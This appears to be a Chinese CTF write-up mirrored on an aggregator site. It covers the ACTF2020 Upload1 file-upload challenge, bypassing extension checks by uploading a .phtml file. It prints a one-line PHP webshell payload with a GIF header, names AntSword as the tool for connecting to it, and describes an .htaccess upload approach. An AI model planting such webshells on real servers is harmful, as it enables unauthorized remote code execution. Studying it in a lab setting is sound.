码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 文件上传 [ACTF2020 新生赛]Upload1


    打开题目,发现是一道文件上传题目

    随便上传个一句话木马上去

    发现网站前端有白名单限制,只能上传含有jpg,png,gif的后缀文件

    那我们便传个2.jpg的一句话木马上去,bp抓包

    我们改成php文件后缀试试,发现重发过去显示Bad file

    说明原来不仅在前台校验,后台也做了校验。

    而且删除前端验证校验,发现php文件还是不能上传

    那我们便上传phtml文件

    用以下代码

    GIF89a? <script language="php">eval($_REQUEST[1])</script>

    删除前端验证后,发现可以上传成功

    蚁剑连接即可得到flag

     密码是1

    或者我们用下面的代码构造phtml文件

    上传成功后直接访问路径即可

    得到flag

    困惑 ????

    最开始我想到的做法是先上传htaccess文件,bp修改文件头,上传成功后然后再上传以jpg为文件后缀的一句话木马,蚁剑连接得到flag

    上传htaccess文件的时候,因为有前端校验,我们把前端校验删了以后,再bp抓包修改文件头,发现能够成功上传htaccess文件,但是接着上传jpg格式的一句话木马时,却怎么都连不上,换了很多种类的一句话木马都不行

    在这里我开始在想,因为我前阵子做的一道文件上传的题目(详情见:文件上传 [GXYCTF2019]BabyUpload1-CSDN博客)也是限制了只能上传图片类型的文件,但是那道题的做法就是上传htaccess文件,bp修改文件头使其上传成功后在传以jpg,png等为文件后缀的一句话木马,蚁剑连接得到flag,这道题我们同样也是限制了只能传图片类型的文件,为什么不能用这样的做法呢?

    后面大佬告诉我,是前端验证和前端后端验证共存的两种情况

    知识点

    • 什么是前端验证,后端验证 ?

    前后台校验,就是前台和后台都需要对某一数据进行合法性校验。根据数据的来源,又可将场景分为用户输入数据校验、服务器生成数据校验和文件上传校验三种子场景

    • 需要验证的场景有哪些 ?

    例,用户注册。用户需要填写一个表单,输入诸如用户名、密码、邮箱、公司等信息,点击提交,完成注册。
    其中,这个表单需要验证,可能的验证规则有:

    • 用户名不能有特殊字符,如%¥#@&
    • 邮箱必须符合正确的邮箱格式,如xxx@qq.com
    • 用户名不能重复
    • 密码必须包含数字、小写字母、大写字母、特殊字符,且长度不能少于8位

    • 什么是phtml文件

    .phtml文件告诉网络服务器,这些文件是由服务器生成的带有动态内容的html文件,就像浏览器中的.php文件表现一样

    因此,在生产用途中,.phtml和.php文件应该没有任何区别。

    文章参考wp: [ACTF2020 新生赛]Upload-1_[actf2020 新生赛]upload 1_@木兰%%的博客-CSDN博客

  • 相关阅读:
    [pytorch]关于进行代码构建网络的一点补充内容(会持续补充)
    GBDT(梯度提升树 Gradient Boosting Decison Tree)学习笔记
    vue3 setup中defineEmits与defineProps的使用案例
    看表情包学Linux:基本指令介绍
    推荐系统 | 基础推荐模型 | 特征交叉 | FM | FFM | PyTorch实现
    【MATLAB】tvf_emd_ MFE_SVM_LSTM 神经网络时序预测算法
    基于JavaSwing开发学生信息管理系统(SQLServer数据库版本) 毕业设计 课程设计 大作业
    Promethus(一)概览
    Softek Barcode Reader 9.1.5
    topy库的安装(拓扑优化软件)
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/134361344
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号